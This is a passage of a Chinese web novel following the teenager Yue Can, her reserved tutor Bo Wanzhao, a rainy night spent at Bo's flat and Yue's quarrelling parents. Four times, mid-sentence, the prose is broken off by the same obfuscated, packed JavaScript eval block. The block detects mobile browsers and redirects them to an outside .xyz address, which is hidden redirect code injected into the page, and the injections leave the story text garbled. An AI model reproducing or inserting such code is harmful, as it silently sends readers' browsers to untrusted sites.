薄晚照跟她说:“先吃点。” 越灿正好饿得厉害,她接过饼干,“嗯。” 不冷不热,越灿啃着手里的饼干,脑海中冒出这个词,这个词用来形容薄晚照太合适了。 薄晚照像一杯常温的白开水,越灿认为自己的这个比喻到位。 苏打饼干有点噎人,没什么味儿,所以寡淡的人吃饼干都要吃最寡淡的?好歹也买个带夹心的吧?越灿边啃边在心里疯狂吐槽。 一袋饼干啃完,越灿想找纸巾擦嘴,半天没摸到,接着,身畔一张纸巾又默默递了过来。 越灿也默默接过。 照顾和被照顾,她们之间似乎在不知不觉间形成了一种微妙的默契。 两人相处时,薄晚照会自然而然地像姐姐一样关照她,尽管如此,越灿并不觉得薄晚照对自己有多喜欢。薄晚照这样,更多是出于对谭茗的感激,就像是一种责任,在例行公事。 好比今晚,她会悄悄捧着一束花来看自己表演,要不是谭茗让她帮忙,越灿认为薄晚照绝不可能干这么浪漫惊喜的事。 两人快要走到校门口。 “越灿,等等。” 身后有人追了过来,气喘吁吁喊着。 越灿和薄晚照不约而同停下脚步。 追上来的是一男的,跑得太急,额头冒了圈汗。越灿等对方走近,认出他是班里的副班长陈锋,也就是弄得自己被请家长的那位。 越灿今天心情本来就不怎么好,现在烦上加烦,陈锋找她说了几次话,班里莫名其妙就出现了那些“绯闻”。 陈锋看看越灿身边的薄晚照,“你姐?” 越灿没吱声,懒得答也不想答,不知道为什么,她就是对薄晚照叫不出“姐姐”…… 陈锋从书包里拿了个笔记本出来,“这个你拿着。” 越灿没接,“什么?” “我归纳的一些知识点,还有容易错的一些题型,对你应该有帮助。” 越灿差点翻起白眼,谁问你要了……陈锋不是第一次想帮她补习了,非一般的热情,说是补习,但陈锋心里怎么想的,越灿心里清楚。 “我不需要。”越灿直接拒绝,这是实话,她现在都有薄晚照了,还要这些干嘛。 “你拿着呗,我整理了好久,一片心意。” 越灿不想浪费时间跟他在这绕圈,于是直白问:“你是想帮我辅导功课,还是想追我?” 陈锋脸一下子红了,他没想到越灿会说得这么直接,旁边还有人呢,也不避讳。 薄晚照无声站在一旁,淡然听着。 “我……”陈锋支支吾吾着,心想这哪好意思说出口。 越灿瞥见薄晚照手里的花束,莫名应景,她心血来潮,直接接过来抱在自己怀里,“不好意思,你两个都没机会了。” “啊?”陈锋疑惑。 越灿笑了笑,看一眼薄晚照,兴致勃勃介绍起来:“我介绍一下,这位高考数学满分,顶级985学霸,声音好听,长得也好看……” 薄晚照微微抬眼,瞥了瞥越灿,不知道这又是玩哪出。 陈锋仍然一头雾水。 “正在追我。” 越灿说得像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744192|157530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模像样,毕竟除了最后一句,其他都是客观事实。 陈锋懵了:“蛤?” 薄晚照听到这四个字,依然镇定。 现场只有陈锋凌乱得很,结结巴巴说:“可你们都是女生……” 越灿强势反问:“不可以?” 陈锋挠头,“那你喜欢女孩儿?” “对啊。”越灿点起头,学着钟然一贯的花痴口吻,“温柔姐姐谁不喜欢?” 对方无话可说了。 薄晚照等越灿说够了,给了她一个眼神,“走吧。” 越灿假笑还挂在脸上,“嗯。” 成功甩了牛皮糖,越灿继续往校外走,即兴表演了那一出,她以为薄晚照多少会说些什么,结果薄晚照全程一言不发。最后她憋不住问:“你不问点什么?” 薄晚照偏过头看她,反而理性询问:“我要问点什么?” 不管越灿嘴里说出什么,她都不会意外,这么多年,她清楚越灿的性格,想一出是一出,没脸没皮,什么话都可以脸不红心不跳地说出口。 越灿反倒被问住了,“……算了。” 她好奇这个女人到底经历过什么,才能时刻如此冷静,情绪稳定到几乎变态的地步,她甚至怀疑自己在薄晚照面前裸/奔,薄晚照都会毫无反应。 薄晚照沉默片刻,说了句:“夸我太多了,不太习惯。” 越灿:“……” 校外停了辆熟悉的汽车。越灿平时住校,周末才回家,周五晚上家里都会安排司机来接她。 薄晚照送越灿上了车,算完成了任务。她准备离开…… “薄晚照。” 越灿很少叫她名字,一开口带点别扭。 薄晚照问她:“还有事?” “一起……”越灿邀请她上车,刚才薄晚照怎么也算帮了她一个忙,又吃了人家的饼干,她良心虽然不多,但还是有点。 薄晚照一贯回答:“不用。” 风一阵一阵地卷过,凉意更浓。越灿没管那么多,直接伸手牵住她的手腕,顺势拉了拉。 温热的掌心突然包裹住手腕,薄晚照极轻地颤了颤,另一个人的体温落在皮肤上,仿佛在慢慢渗透,渗透,触感也被敏感的神经不断放大着…… “上来,风好大。” 越灿冒冒失失把人拉上了车。 5. 第 5 章 手腕上的触感很快消失,又只剩微凉,薄晚照上了车,密闭空间内的空气温暖许多,带着淡淡花香。 司机认识薄晚照,询问地址。 薄晚照说了A大附近的一个街道,距离不远不近。 越灿从没去过薄晚照的住处,汽车经过的路段比平时陌生,放眼看去,是一片旧居民区。南夏如今到处高楼林立,这样六七层高的居民楼已经很少见了。 汽车在一个路口停稳,旁边有夜市,烟火气足。司机确认一遍:“在这就可以了吗?” “嗯,谢谢。”下车前薄晚照看了眼越灿,“明天见。” 这句“明天见”让越灿心情有雪上加霜的趋势,假期已经彻底跟自己告别了。 回到家,越灿发现只有家政阿姨在厨房忙活。 “回来啦灿灿。”阿姨姓胡,在越家当了七八年家政,看着越灿从小屁孩出落成小姑娘,感情很好。 “饿不饿,要吃宵夜吗?” “不用了胡姨。”越灿饿过头了,主要是不大有胃口,她往空荡荡的客厅看了看,“他们今晚不回来了?” “没跟你说呀?出差了,得明天晚上才回来。” 越灿“喔”了下。 胡姨又和蔼问:“明天想吃什么,姨给你做。” “什么都行。”越灿懒懒往房间走,“我去洗澡了。” 胡姨操心嘱咐着:“不要熬夜呀,你妈妈特意交待的。” “知道啦。” 胡姨人挺好的,就是啰嗦了点儿。 洗了个热水澡,越灿钻进被窝,点开了谭茗先前给她发的微信: —跟你爸要出趟差,晚上不能过来了,回来给你带礼物。 果然又是礼物补偿,记不清这是第几回了,做不到就别答应啊……越灿郁闷将手机放下,行,又被糊弄一次。 上初中后,父母就不怎么陪伴她身边了。她爸妈是夫妻档一起创业,事业起来以后,两人永远有谈不完的生意。 越灿扯过被子蒙着脑袋睡觉,不太明媚的心情并没在一觉过后而烟消云散,第二天她还是无精打采。 “审题仔细点。” “再做一遍。” “又错了。” “认真听。” …… 越灿这天补习很配合,薄晚照让她做什么她就做什么,一句怨言都没有,刷题效率都比平时高。 “这样吗?” 薄晚照见她今天话少得可怜,“又不舒服?” 越灿惜字如金:“没。” 薄晚照垂眸看向试卷,细长的手指敲了敲,“继续做。” “好。” 补习到傍晚结束,累了一天,越灿想出门透透气,跟胡姨说,“我晚上不在家吃了。” “那你在哪吃?我都做了……”胡姨急急忙忙从厨房出来,发现越灿已经准备出门了,她逮不到人,只能追在后面喊话,“哎,去哪啊?要早点回来,不然没办法跟你妈交代。” 越灿已经溜之大吉。 出去散心了。 越灿是家中独女,掌上明珠,从小泡在蜜罐里长大的,虽然家里对她偶尔严格,但更多是骄纵。所以她自幼就是受不了半点委屈的性子,一再被父母放鸽子,这回的确气了。 谭茗晚上十点到的家,不见越灿人影,才知道人又溜出去了。她给越灿打电话,无人接听,昨天发她的消息也没回…… 一连打了十几个电话都不接,谭茗头疼,免不得焦虑担心起来。 直到半小时后,她看到越灿发了条朋友圈: 【人还活着,勿扰】 谭茗身心俱疲,评论:“你现在在哪?” 越灿回复她:地球。 谭茗:“……” 气得太阳穴直突突。 - 夜色已深,巷子里的灯光昏黄,路灯将影子拉得颀长。老巷子口的樟树下有三三两两的老太太还在那闲聊。 看到有人经过,其中一个老太太抬起头,“唷,这么晚才回来呀。” 薄晚照晚上还带了份家教,刚下课,此时眼底满是倦色,嗓子也干哑。 邻居周奶奶是个热心肠,又接着寒暄:“你妈妈最近还好吗?” “还好。”薄晚照从不主动跟别人提及自己的情况,但邻里邻居,时间长了,多少会了解到一些情况。 这片旧居民区有些年岁了,楼层外墙都是斑驳破碎的痕迹,住这的大部分是留守老人,像她这样的年轻人几乎看不见。 “好久没见到她了,以前还出来晒晒太阳聊聊天。” “她已经搬走了。” 周奶奶又问:“搬走了?搬哪里去啦?” 薄晚照静了静。 老太太意识到自己冒昧了,人家未必想说,她很快转移话题,“你要好好照顾自己,你看你瘦的,一定要按时吃饭,身体是革命的本钱。” 薄晚照浅笑了下,算是回应对方的好意。 钥匙捅入锁眼,轻轻转动,薄晚照推门而入按下墙上的开关,白织灯让房间的狭小破旧更一览无余。 房子就在一楼,小两室。薄晚照大学时就租下了这里,有好几年了。虽说老破小,但胜在地段还不错,租金也相对便宜,她一直都没搬走。 回到房,她脸上温润的笑意彻底消散,像卸下一种疲惫。 老房子隔音不太好,偶尔能听到巷子里的聊天。 “这姑娘长得真俊。” “可惜命苦……” “可怜呐。” “被家里拖累了。” …… 碎言碎语传到耳朵里,薄晚照面无表情,心底也没有起伏,这么多年,她经历过的,或恶意或善意,或怜悯或利用,太多太多,情绪早就麻木,给不出反应了。 外面响起声闷雷,下雨的前奏。 她正准备洗澡,突然接到谭茗打来的电话:“晚照,越灿晚上有跟你在一块儿吗?” “没有,怎么了?” “她还没回家,打电话不接,也不告诉我在哪。跟我闹别扭呢,都多大了还离家出走……” “我离开的时候她还在家,会不会是跟朋友出去了?” 谭茗疲惫叹气:“我再问问,要是她找你,你跟我说一声。” “嗯。” 薄晚照挂断电话,听到雨声淅淅沥沥,风吹着雨滴拍打老旧的玻璃窗,清脆作响。 她也给越灿打了个电话,无人接听。又想了想,她切换微信号,在联系列表里找到一个人。 那天她正好加了越灿同学的微信,两个人关系应该不错。 【薄晚照】同学,越灿跟你在一起吗? 钟然看到薄晚照发来的消息,很快点进去看,也很快回复:没有。 【薄晚照】你能联系上她吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744193|157530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>聊了几句之后,钟然才知道越灿一个人跑出去了,她立马给越灿发了消息,然后又跟薄晚照说,如果联系上了一定第一时间告诉她。 【薄晚照】麻烦你了 钟然对美女最热心,捧着手机笑得开心,一连发了好几个“不麻烦”。 越灿手机静音了,一个人在电影院抱着超大桶的爆米花看电影,片子虽然没营养但勉强还算好笑。 看完电影时间还早,她又在商场一楼的溜冰场玩了几圈。抽空看了看手机,谭茗的电话消息都要爆炸了。她还在气头上,不想回,所以发了那条朋友圈。 钟然也用微信消息轰炸了她: —你朋友圈什么意思? —在哪活着? —看到速回消息 越灿只回了钟然的消息,甩了个定位给她,算报平安。顺便让她保密。 【钟然】行 越灿玩腻味后,走出商场,发现室外下起了大雨,由于这雨突然,不少人临时被困住。 “这什么时候能停啊?” “等雨小点再走吧?” “去买把伞吧……” 越灿反正不急着回去,就等着,盯着大雨无聊发呆,已经能脑补出今晚回去,家里大发雷霆的模样…… 不知道发呆走神了多久。 雨稍小了些。 “还不回去?” 越灿闻声转过头,目光定格,她瞧见薄晚照撑着把透明雨伞,站在离她一米远的地方,雨水和灯光一齐落在伞顶,折射出五光十色。 她傻眼了下,然后大脑转过弯来。 只能是钟然…… 为了美色出卖自己…… 不中用! 薄晚照:“回去了,阿姨很担心。” 越灿吸了吸鼻子,被风吹得带点鼻音,“你不用管我。” “先回去。” 越灿没好气地回:“我还不想回去,你先走吧。” 薄晚照想了想,“我陪着你。” 越灿挺要面子的一人,不大喜欢让别人看到自己消极的一面,她嘴硬:“我不用你陪……” 薄晚照还在一旁等着,仍旧没离开。 又是谭茗女士让她来揪人的吧。越灿烦躁的情绪转移到了眼前的人身上,她皱眉脱口而出:“我说了不需要,你烦不烦啊!” 语气带刺,扎人。 薄晚照却无动于衷站在原地,她手中撑着伞,雨水不断砸在雨伞上,绽开,再凝聚成雨珠,不停往下滴。 越灿默了默,意识到自己过分了……无论如何,这些年薄晚照对她的照顾都是实打实的,没理由把火气发在不相干的人身上。 雨一直在稀里哗啦地下。 静站片刻,薄晚照依然心平气和:“如果不知道去哪,可以先去我那。” 越灿望着她,呆住,一身的刺都软了下来…… 她到底有没有脾气啊? 都不会生气的? 不觉得自己任性又讨厌吗? 薄晚照靠近。 越灿看着她,原地磨磨蹭蹭。 薄晚照低声问她:“去不去?” 这一声让越灿眼神彻底柔软下来,她默默往前迈了一步,薄晚照探过身,及时撑伞帮她遮住了雨。 越灿挤进不算宽敞的伞下,两人面对着面,身体几乎贴上——她又闻到薄晚照身上传来的淡香,温柔过头了。 6. 第 6 章 越灿这晚稀里糊涂的,跟着薄晚照走了。 回到那天坐车经过的老街旧巷。今晚天气不好,夜市已经撤了,没什么人,所见之处水雾蒙蒙。 两人共撑一把伞,肩头时不时蹭过。 拐进小巷,越灿转过脸看肩侧的人,距离太近,侧脸看得格外真切,巷子里光线并不明亮,落在脸庞分外柔和,不过她总觉得这份柔和只是薄晚照最表层的外壳。 一路上越灿欲言又止,低头走了一小段路,她偏过头叫了叫:“薄晚照……” 薄晚照看她,“怎么了?” 越灿凝视她平和好看的眉眼,“你都不会生气吗?” 薄晚照问:“生什么气?” “我……”越灿心虚,“凶了你。” 薄晚照:“还好。” 越灿不懂,追着问:“什么叫还好嘛?” 薄晚照又回答:“没有生气。” 她始终平静的口吻和神情,让越灿相信这句话是真的。越灿无话可说了,不知道为什么,她心里反而希望薄晚照能生点气。她回想了下,自认识薄晚照以来,薄晚照就像个没有情绪的人,她从来没有见过薄晚照生气,但也从来没见过薄晚照开心…… 不知不觉就走到了。 薄晚照收伞,抖落一地雨珠,拿钥匙开了门。 越灿跟着薄晚照进屋,当她看清屋子里的布局后,一时静默,空间狭小逼仄,这房子表里如一,过分陈旧。 薄晚照笃定越灿没见过这么破旧不堪的房间。她倒没有生出什么自卑心理,要挣扎才能活下去的人,本身就不容易了,没有什么可自卑的。她单纯觉得越灿会不习惯这种艰苦环境,可能多呆一会儿都难。 “待会儿我送你回去。” 越灿回神看她,“你不是说要收留我?” 这下轮到薄晚照沉默,越灿这句话,明显是想留在她这过夜的意思。她等待了三秒,留出让越灿反悔的时间。 越灿没打算反悔,她盯着薄晚照,站在原地一动不动,一副赖上了的架势。 薄晚照:“……” 时间不早了,薄晚照又拿起手边的钥匙,“你在这待着,我去买洗漱用品。” 越灿想到外面那条又暗又深的巷子,又下着雨,没什么人,氛围跟拍惊悚片似的,一个人也太不安全了,她跟上薄晚照,“我也去。” 薄晚照以为她是害怕一个人待在这儿,“嗯。” 便利店在街边,来回要走上十分钟,雨没变小,风一吹,雨滴直往身上飘,两人再返回出租屋时,身上都沾湿了些。 薄晚照:“你先去洗澡。” 越灿看她比自己湿得更多,想说什么,但薄晚照已经拿了睡衣出来,催她去浴室。她只好速战速决。 没多久,越灿就顶着湿漉漉的头发从浴室出来了,从浴室到卧室,只有几步的路。 这套房子比越灿想象中还要小很多。 加起来不足五十平的样子,客厅和餐厅合二为一了,只够摆张不大不小的方形餐桌;卧室稍大些,没多少东西,一张靠窗的床,一张掉漆的老旧书桌,还有一个造型过时的衣柜,房间内一切都很朴素,没有任何装饰,只有生活必须品,但可以看出房间的主人很爱干净,整洁,一丝不苟。 越灿回到卧室,看见薄晚照正在打电话,听聊天内容,她猜应该是跟谭茗。 薄晚照跟谭茗说了越灿今晚不回去,住自己这边的事情。 “……唉,这个磨人精,又要麻烦你了。” “不麻烦。” “也太不省心了,真是谢谢你啊晚照,辛苦你了,总是在照顾她。” …… 谭茗在电话里又念叨了几句,越灿跟薄晚照在一起,她悬着的心终于能放下了。 “我妈的电话?”越灿顶着一头湿哒哒的头发,她跟薄晚照身高相仿,睡衣穿起来还算合身。 “嗯。” 越灿大胆猜测,“她是不是气得想扒我皮?” 薄晚照放下手机,“让我转告你,气消了明天回去,她不会扒你的皮。” 知女莫若母,话术都能对上。 薄晚照拿了吹风机放在桌上,又跟越灿说:“你今晚就睡这,床单什么的都换过了,干净的。” 越灿问:“那你呢?” 薄晚照:“我睡隔壁房间。” 本来就是厚脸皮蹭住了,越灿哪好意思霸占主卧,“我睡隔壁就行了。” 薄晚照想将人叫住,但越灿已经往另一扇门走去。 一打开门,越灿站在门口都傻眼了。这哪是房间,明明就是个储藏室,不到四平米的样子,只有一个小窗户,压抑得很,但里面摆了一张小小的折叠床,表示是住过人的。 薄晚照说:“我住这就行了。” “这怎么能住……”越灿诧异,就算这是储物间,也是小得不行的那种,怎么能住人。 薄晚照缄默。曾经很长一段时间,她都是住在这里。 越灿觉得这个问题挺好解决,“你借半张床给我就行。” 薄晚照这时却犹豫了下。 所以宁愿住储物间都不想跟自己住一块儿?越灿莫名委屈起来了,“你是不是嫌弃我啊?” “不是。” 越灿:“其实我睡着了很乖,不会乱动。” 听到磨人精说自己“乖”,薄晚照觉得稀奇,还有点好笑。 越灿又说:“我还特别暖和。” 弄得跟推销似的。 薄晚照想想主卧的床有一米五,两个人睡不算挤,中间还能隔段距离。奔波一天,一身疲惫,她也累得没精力再另外收拾房间,便点了点头。 等薄晚照洗漱完,已经是深夜。雨还是没有要停的迹象,听着聒噪的雨声,她隐隐烦躁,预想今晚又很难睡得安稳。 与薄晚照相反,越灿听着雨声这种天然白噪音,舒服得很,一钻进被窝就昏昏欲睡,被褥上的香气有点熟悉,好像薄晚照身上的味道。 薄晚照吹干头发回到卧室,发现越灿已经睡着了,身子贴着靠墙的那边。她拉开被子上床,瞥了眼另一侧的人,睡熟了呼吸均匀,适应得真是够快…… 关了灯,薄晚照在床上躺下,她闭上眼,黑暗中的雨声显得更加嘈杂。 听着这雨声,饶是她此刻疲惫不堪,也难以入睡。 她最讨厌的就是雨天,偏偏南夏市的雨总是淅淅沥沥下个没完。很早开始,她就决心以后要离开南夏,换个阳光明媚的地方,开始新的生活。这座城市实在没有什么让她留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744194|157530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恋的,现在更是如此…… 困倦和糟糕的情绪打着架,最终困倦略胜一筹。薄晚照浅睡下去,仍能听到雨在细密地下,她眉头越皱越紧,感觉这些声音就像在细密扎着她的皮肤。 半睡半醒是最没安全感的状态,焦躁和噩梦一同缠身,难受,窒息到快要喘不过气…… 薄晚照惊醒过来,呼吸过度,额头渗出冷汗,身体又在发抖了,她抱了抱自己手臂,摸到粗糙的疤痕,疤痕提醒着她,噩梦都是真实的。 她开了灯在床上坐起身,看清环境后,告诉自己现在是安全的。 突然的光亮刺激到了身旁的人。 “嗯……”越灿哼了哼,稍稍翻了个身,她眼睛要睁不睁的,迷迷糊糊问薄晚照,“怎么了……” “没什么。” “嗯……” 薄晚照又关了灯躺下,再难以入眠。 越灿在黑暗中稍稍翻了个身,头向枕侧歪了歪。她睡觉算规矩,都是在学校宿舍锻炼出来的。 薄晚照感觉到有温热靠近了自己,是越灿脑袋轻轻靠在她肩侧,这种温热,给她一种微妙的安全感。 越灿的确很暖和,被褥下,她能感受到越灿身上传来的阵阵暖意,有一瞬间,她很想打破两人之间的距离,让这股暖意完全包裹住自己,但她极力克制住了这股冲动—— 渴肤症,在情绪不安的时候,会极度渴望被拥抱,爱抚。薄晚照是在上大学接触到心理学后,才意识到自己身上的症状,是一种心理疾病…… 这晚薄晚照入睡得很晚,但入睡以后,没再掉进梦魇。 雨不知道什么时候停的,翌日雨过天晴,早晨玻璃上折射出金灿的光芒。 薄晚照只睡了四个小时,她照旧在七点准时起来,用热水冲了袋速溶咖啡。然后拿着笔记本去了客厅,在餐桌上敲着键盘。 八点多,她折回卧室拿东西,发现某人还在床上呼呼大睡着。 越灿是出了名的能睡,平时上学又严重睡眠不足,假期要是没人叫醒,她通常都是睡到中午起步。 有阳光透过玻璃钻进卧室,正好洒在床上,落在脸庞,越灿不自觉皱眉。 薄晚照见状,走到床畔,探手将窗台的帘子拉上。 这帘子并不遮光,只是将阳光过滤得柔和。 薄晚照稍一低头,一张白皙小巧的脸落入她眼帘,越灿仍闭着眼,睫毛很长,有着平日里没有的安静。 虽然越灿平时一副叛逆不好惹的模样,怼天怼地,可一睡着就暴露了真实的一面,整个人都是柔软的,头发,脸庞,身体,浑身上下都散发着人畜无害的气息。 薄晚照盯着她的脸看了会儿,是挺乖的。 越灿眯眼哼着:“薄晚照……” 突然听到念自己的名字,薄晚照凝神。 “你讨厌死了……” 薄晚照发觉她在说梦话。 越灿继续梦呓:“……这回我做对了吗……” 薄晚照顿了顿,眼神微垂,然后俯身轻语了句:“又错了,再做一遍。” 轻柔的话入梦。 越灿眉头一皱,直哼唧:“啊……你杀了我吧……” 薄晚照仍盯着床上的人,尔后,冷冷清清的脸上露出极轻的一抹笑。 7. 第 7 章 越灿今天破例九点醒了来,睁开眼,卧室里只有她一个人。她慢慢悠悠走出卧室,看到薄晚照端坐在餐桌前,敲着笔记本键盘,像是在写什么东西。 薄晚照抬了抬眼,越灿睡眼惺忪。两人对视一眼没有交谈。 越灿走去了卫生间,开始洗漱整理。 薄晚照这时停下手中的忙碌,起身出去了一趟。 越灿洗漱完换好衣服出来,撞见薄晚照也从外边回来了,手里多了两袋早餐,看来是刚刚出去买的。 “吃早餐。”薄晚照将早餐袋放在餐桌上,注意力很快又回到电脑屏幕。 越灿拉开椅子坐下,同薄晚照面对面,她低头看,是一份水饺和一杯豆浆,“你不吃吗?” “我吃过了。”对薄晚照来说,一杯咖啡就能算一顿早餐,有时也能算一顿午餐。 所以这早餐是特意给自己买的,越灿喝着豆浆,“谢谢。” 薄晚照还在有一搭没一搭地敲着键盘,“嗯?” “早餐,还有收留我。”越灿又咬了半口饺子。 薄晚照安静,没说多余的话。等越灿早餐吃完,她才开口问:“打算什么时候回去?” 越灿还是不太想回家,她问薄晚照,“能在你这多待会儿吗?” 薄晚照听到后,随她,“嗯。” 越灿不知道去哪了,她关系最好的朋友就属钟然和洛扬,钟然今天去奶奶家了,洛扬是好学生类型,忙着高考冲刺。 闲着也是闲着,大概是被某人的学霸气质影响到了,越灿自觉拿起手机开始刷题,寒假的魔鬼补习没白费,选择题的正确率唰唰上升,有点小小的成就感。 薄晚照瞥见越灿在主动做题,挺意外的。她猜越灿三分钟热度,待不了多久就会无聊离开了。 结果…… 越灿一直厚脸皮待到了中午。 “薄晚照。” 薄晚照正改着论文,分神回了回话:“什么?” 越灿:“你这里地址怎么填,我想点外卖。” 看时间是到吃午饭的点了,薄晚照抬起头,某人显然还是没有要离开的意思,她跟越灿说了个地址。 几分钟后,越灿提交好外卖订单,“我帮你也点了,待会儿一起吃。” 薄晚照看看她,只好问:“多少钱?” 越灿明白这三个字的潜台词,“你收留我还请我吃早餐,我请你吃顿外卖,有什么问题吗?” 真要细算起来,那她欠薄晚照的人情可太多了。 …… 午餐越灿点了两份咖喱饭,选了口味和评分都很不错的一家店,点之前她没问薄晚照想吃什么,因为她知道薄晚照一定会说随便。 外卖延迟十分钟才送到,外卖员说这巷子太难找,七拐八拐。好在商家保温措施做得不错,到手还是热乎乎的。 一份照烧鸡腿,一份炸猪排,还有两小碗例汤。 现在正是适合吃咖哩的季节,暖和,虽然是外卖,但摆盘也算精致,冒着热气很是诱人。 越灿问:“你要吃哪个?” 薄晚照随手拿了离自己更近的那份。 越灿手边的那份是炸猪排,炸得焦香酥脆。 薄晚照小口送着温热的米饭到嘴里,除了果腹,她对食物没有其他要求。正低头吃着,她瞧见越灿夹了块猪排送到她碗里…… “你试试这个。”越灿说着,顺手从她碗里夹走了一大块鸡腿肉,快准狠。 薄晚照嫌她这个行为幼稚,跟她说:“你想吃就直接夹,不用换。” 越灿嘟哝:“那我不占你便宜了?” 薄晚照淡淡然:“让你占。” 越灿骤然静了静,想歪了,这对话听着好不纯洁……不过薄晚照似乎丝毫没觉得哪里不对,也是,薄晚照一看就断情绝爱,脑子里肯定都是正经东西。 “你趁热吃,冷了就不香了。”越灿催促,她一资深吃货,见不得别人不好好对待美食。 在越灿的目光督促下,薄晚照无奈夹起猪排咬了口,外酥里软,多汁,确实很香。 越灿继续“指导”着:“蘸咖喱也好吃。” 薄晚照又试了试,这大概是她头一回这么仔细品尝食物的味道……是好吃的。 “怎么样?是不是挺好吃?”越灿追问,想要自己的美食品味被认可。 薄晚照点头。 越灿看薄晚照又是人淡如水的反应,她信了,原来这世界上真的有人不爱美食。 两人吃着午餐,偶尔说几句无关紧要的话,因为这顿饭,这间房子里的空气第一次透出一丝温情。以往这个狭小的空间里,除了歇斯底里的窒息,就是寂静无边的孤独…… 薄晚照稍稍有些走神。 越灿察觉到,“怎么了,你不爱吃?” 薄晚照回神看着眼前的人,低声说:“没有。” 一楼潮湿,容易滋生细菌,薄晚照通常都是即刻处理掉垃圾,越灿吃撑了,想消消食,于是跟着一起。 雨过天晴,巷子里铺满了阳光,跟昨晚上颓然昏暗的感觉截然不同。 越灿看着门牌上写着“梧桐巷子”,大概是因为这条巷子里栽了许多梧桐树。树枝繁叶茂,阳光透过缝隙洒下,像白日星辰。 天气一好,巷子里的流浪猫也都跑出来晒太阳,胆儿大的,直接躺到在路边,露出毛茸茸的肚皮,舒服得眼睛眯成缝。 越灿喜欢小动物,但因为谭茗毛发过敏,家里一直没能养宠物,她也就只能在外面吸一下,正好她又是“猫薄荷”体质,有小猫自动往她腿边贴。 “喵——”来了一只小三花猫很是黏人,拦着她喵喵叫,撒娇讨要吃的。 越灿蹲下,试着摸摸小猫脑袋,“今天没有吃的,下次来再给你带,好不好?” 小猫喜欢被挠下巴,享受得很,主动抬着头贴贴。 越灿被可爱到了,一瞬间笑容灿烂。她眼睛生得精致,眸子很亮,笑起来更加,跟窝了汪清泉似的。 没心没肺的人有一个好处,就是坏情绪攒不了多久,越灿正是这样,今天吃到了好吃的咖喱饭,还吸到了猫,又是乐乐呵呵的。 薄晚照站在一旁,视线垂了垂,落在阳光下的笑脸上,肆意明媚,有着无限活力…… 她片刻定神。 因为昨晚的大雨,阳光短暂逗留在了她的住处。 - “以后你不能再那么惯着她了,你看她现在越来越不像话,说不回家就不回家。” “你会教育,那你不多教育一下?” “这不是跟你商量吗?” …… 越灿傍晚才回家,一开门就听到夫妻俩在谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744195|157530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论针对她“教育大计”,她提前有准备,回来免不得要挨顿训,但她不后悔昨晚的闹腾,她有情绪就要发泄出来,否则要憋死。 晚上,餐桌上凑齐了一家三口,就是气氛不大好。 越成涛叹着气,该说还得说:“越灿,你昨天一声不吭跑出去,知道我跟你妈有多担心吗?” “是吗?”越灿气人一绝,“我还以为你们都忘了自己有个女儿。” “……” 越成涛脸色更冷了。 “还在生气啊?”谭茗耐着性子沟通,她知道自己女儿叛逆得很,吃软不吃硬,“上回答应你又没做到,是爸妈不对,不会再有下次了。但你也是,以后不能再这样任性了,大晚上一个人跑出去,多不安全。” “还惯着她,你看你现在脾气大的。”越成涛失去耐心,他看向越灿数落着,“倒是跟你妈越来越像了……” 谭茗听到这话不乐意了,“越成涛你什么意思啊?你有话直说,少在这阴阳怪气。” “我说错了吗?女儿就是给你惯坏的,从小到大什么都依着她。” “什么叫我惯坏的?这是我一个人的女儿吗?没你的份啊?”谭茗窝火,连连冷笑,“你也真够好笑的,你一个当爸的,你平时管过她吗?家长会你去过一次吗?你个甩手掌柜好意思在这说我?” “你在公司的火气带回家干嘛?” “就事论事,好好的你又扯公司什么事?” …… 越灿无奈,这二位又吵了起来,但矛盾也成功转移了,她因此逃过一劫。吃完饭,她默默上了二楼,戴上耳机听歌,让世界清净会儿。 荣格是谭茗和越成涛共同创立的公司,后来公司发展越来越好,两人时常在决策上产生分歧和争执。 